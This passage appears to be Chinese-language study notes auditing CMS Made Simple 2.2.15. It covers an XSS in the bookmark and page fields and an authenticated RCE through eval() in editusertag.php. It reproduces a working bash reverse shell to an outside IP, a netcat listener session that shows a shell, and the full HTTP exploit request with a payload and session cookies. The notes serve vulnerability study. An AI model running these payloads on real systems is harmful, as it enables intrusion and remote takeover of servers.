can get cookies from every authenticated user who visits the website.
\2. Affected parameters:
----------------------
Content > Content Manager > Edit some page > Logic (tab) > Page Specific Metadata (text field)
Content > Content Manager > Edit some page > Logic (tab) > Smart data or logic that is specific to this page (text field)
3: Example payload:
----------------------
<script>alert(document.cookie);</script>
4: Exploitation demo:
----------------------
youtube.com/watch?v=M6D7DmmjLak&t=22s
xss漏洞源码审计
分析xss漏洞的产生 以php/webapps/49345.txt 例
找到输出的js的发动按钮
echo "<td><a href="deletebookmark.php".$urlext."&bookmark_id=".$onemark->bookmark_id."" οnclick="return confirm('".cms_html_entity_decode(lang('deleteconfirm', $onemark->title) )."');">";
$onemark->title="><script>alert(1)</script><"
echo "<td><a href="deletebookmark.php".$urlext."&bookmark_id=".$onemark->bookmark_id."" οnclick="return confirm('"+><script>alert(1)</script><+"');">";
与<a闭合了 因此产生了xss漏洞。
Cms源码文件RCE漏洞
searchsploit -p php/webapps/49345.txt
# Exploit Title: CMS Made Simple 2.2.15 - RCE (Authenticated)
# Author: Andrey Stoykov
# Vendor Homepage: Open Source Content Management System : : CMS Made Simple
# Software Link: CMS Made Simple™ Download Section : : CMS Made Simple
# Version: 2.2.15
# Tested on: Debian 10 LAMPP
# Exploit and Detailed Info: https://infosecresearchlab.blogspot.com/2020/12/cms-made-simple-2215-authenticated-rce.html
Vulnerability is present at "editusertag.php" at line #93 where the user input is in eval() PHP function.
// Vulnerable eval() code
if (eval('function testfunction'.rand().'() {'.$code."\n}") === FALSE) {
Reproduction Steps:
\1. Login as administrator user and navigate to Extensions->User Defined Tags
\2. Add code with the payload of://192.168.137.86
exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.137.86/4444 0>&1'");
\3. Click on the newly created User Defined Tag and use the Run function
RCE will be achieved:
astoykov@Lubuntu:~$ nc -kvlp 4444
nc: getnameinfo: Temporary failure in name resolution
Connection received on 192.168.56.132 53690
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
漏洞复现 exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.137.86/4444 0>&1'");
直接拿到了shell
命令执行漏洞源码分析漏洞
0.定位上传变量 找到相关处理代码
POST /admin/editusertag.php?__c=159a81960459be1b86f&userplugin_id=7 HTTP/1.1
Host: 192.168.137.241
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.137.241/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 286
Origin: http://192.168.137.241
Connection: close
Cookie: CMSSESSID2a2f83428536=hlgebt40ufbhhukehvtu4qlso2; e8bea75a6da7016c66b3b3297c499d57409313b5=cfeb9b89d09ef915d50354d82bd93bdd334b3270%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiYWRtaW4iLCJlZmZfdWlkIjpudWxsLCJlZmZfdXNlcm5hbWUiOm51bGwsImhhc2giOiIkMnkkMTAkc3pGUWlHSmlHZnJxZGRuSlRnN0dDZTFpanNxcW5KWlpWOVRKdFRwT2J0d05YTVlydWJlcjYifQ%3D%3D; __c=159a81960459be1b86f
__c=159a81960459be1b86f&userplugin_id=7&userplugin_name=nc&code=exec(%22%2Fbin%2Fbash+-c+'bash+-i+%3E+%2Fdev%2Ftcp%2F192.168.137.86%2F4444+0%3E%261'%22)%3B&description=&code=exec(%22%2Fbin%2Fbash+-c+'bash+-i+%3E+%2Fdev%2Ftcp%2F192.168.137.86%2F4444+0%3E%261'%22)%3B&run=1&apply=1&ajax=1
1.准备变量
$record = array('userplugin_id'=>'',
'userplugin_name'=>'',
'code'=>'',
'description'=>'',
'create_date'=>'',
'modified_date'=>'');
2.接收变量
if( isset($POST['submit']) || isset($POST['apply']) ) {
$record['userplugin_name'] = trim(cleanValue($_POST['userplugin_name']));
$record['code'] = trim($_POST['code']);
$record['description'] = trim(cleanValue($_POST['description']));
//参数过滤
$code = $record['code'];
if( startswith($code,'<?php') ) $code = substr($code,5);
//匹配前5个字符 若是<?php 删除
if( endswith($code,'?>') ) $code = substr($code,0,-2);
//匹配后两个字符 若是?>删除
$lastopenbrace = strrpos($code, '{');
$lastclosebrace = strrpos($code, '}');
if ($lastopenbrace > $lastclosebrace) {
$error[] = lang('invalidcode');
$error[] = lang('invalidcode_brace_missing');
}
//参数执行
if( count($error) == 0 ) {
srand();
ob_start();
if (eval('function testfunction'.rand().'() {'.$code."\n}") === FALSE) {
//将传入的字符串作为PHP代码并在运行时执
//然而在php代码中调用执行系统函数 为了字符串exec 执行
$error[] = lang('invalidcode');
$buffer = ob_get_clean();
//add error
$error[] = preg_replace('/<br \/>/', '', $buffer );
$validinfo = false;
}
else {
ob_get_clean();
}
}